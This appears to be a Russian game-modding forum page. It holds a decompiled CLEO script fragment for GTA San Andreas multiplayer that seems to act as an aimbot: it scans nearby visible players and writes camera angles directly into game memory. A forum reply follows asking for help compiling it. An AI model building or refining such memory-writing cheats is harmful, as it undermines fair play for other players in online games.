0AE9: pop_float 12@
0AA5: call 4775488 num_params 1 pop 1 11@
0AE9: pop_float 13@
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@
else_jump @$SPRINGFIELD_UGBASE_1302
15@ += 0.0387
0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0
0AB2: ret 0
if
06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0
else_jump @$SPRINGFIELD_UGBASE_1357
0485: return_true
jump @$SPRINGFIELD_UGBASE_1359
059A: return_false
0AB2: ret 0
if
6@ == 5
else_jump @$SPRINGFIELD_UGBASE_1429
7@ = 0.011
8@ = 0.011
9@ = 1.5595
10@ = 1.582
jump @$SPRINGFIELD_UGBASE_1599
if
6@ == 6
else_jump @$SPRINGFIELD_UGBASE_1559
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_1512
7@ = 0.039
8@ = 0.039
9@ = 1.532
10@ = 1.61
jump @$SPRINGFIELD_UGBASE_1552
7@ = 0.02
8@ = 0.02
9@ = 1.5507
10@ = 1.5907
jump @$SPRINGFIELD_UGBASE_1599
7@ = -0.003
8@ = -0.003
9@ = 1.572
10@ = 1.568
if and
0025: 2@ > 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1642
0063: 5@ -= 8@ // (float)
0087: 15@ = 5@ // (float)
if and
0025: 2@ > 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1695
5@ *= -1.0
0063: 5@ -= 7@ // (float)
0087: 15@ = 5@ // (float)
if and
8035: not 2@ >= 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1738
005B: 4@ += 9@ // (float)
0087: 15@ = 4@ // (float)
if and
8035: not 2@ >= 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1791
4@ *= -1.0

:$SPRINGFIELD_UGBASE_1953
0063: 4@ -= 10@ // (float)
0087: 15@ = 4@ // (float)
0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0
0063: 11@ -= 15@ // (float)
if and
not 11@ >= 0.18
11@ > -0.18
else_jump @$SPRINGFIELD_UGBASE_1853
0485: return_true
jump @$SPRINGFIELD_UGBASE_1855
059A: return_false
0AB2: ret 1 15@
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 1816
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0
if or
1@ == 2
1@ == 3
1@ == 4
1@ == 5
1@ == 6
1@ == 7
else_jump @$SPRINGFIELD_UGBASE_1953
0485: return_true
jump @$SPRINGFIELD_UGBASE_1955
059A: return_false
0AB2: ret 1 1@
28@ = 0.0
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
30@ = 0
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
29@ += 1
if and
31@ >= 0
128 > 31@
else_jump @$SPRINGFIELD_UGBASE_2299
005A: 31@ += 30@ // (int)
if
056D: actor 31@ defined
else_jump @$SPRINGFIELD_UGBASE_2299
if
803C: not $PLAYER_ACTOR == 31@ // (int)
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
if and
06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0
not Actor.Driving(31@)
not Actor.Dead(31@)
02CB: actor 31@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
if
0035: 28@ >= 15@ // (float)
else_jump @$SPRINGFIELD_UGBASE_2299
0AB2: ret 1 31@
30@ += 256
30@ > 35584
else_jump @$SPRINGFIELD_UGBASE_2013
28@ += 8.0
001D: 28@ > 0@ // (int)
else_jump @$SPRINGFIELD_UGBASE_1973
0AB2: ret 1 -1
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@
12@ = 640.0
13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@

:$SPRINGFIELD_UGBASE_2701
0000: NOP
wait 3000


Мои темы:
[AHK] Шифратор текста
[AHK] Акцент 3 в 1
[C#] Генератор RP ников
MaximkaCS Дата: Суббота, 01.09.2018, 15:05 | Сообщение # 5
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Сообщений: 60
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slavawar, Всё равно, та же самая проблема. Попробуйте скомпилировать сами, если получится, скиньте сюда файл. Заранее спасибо

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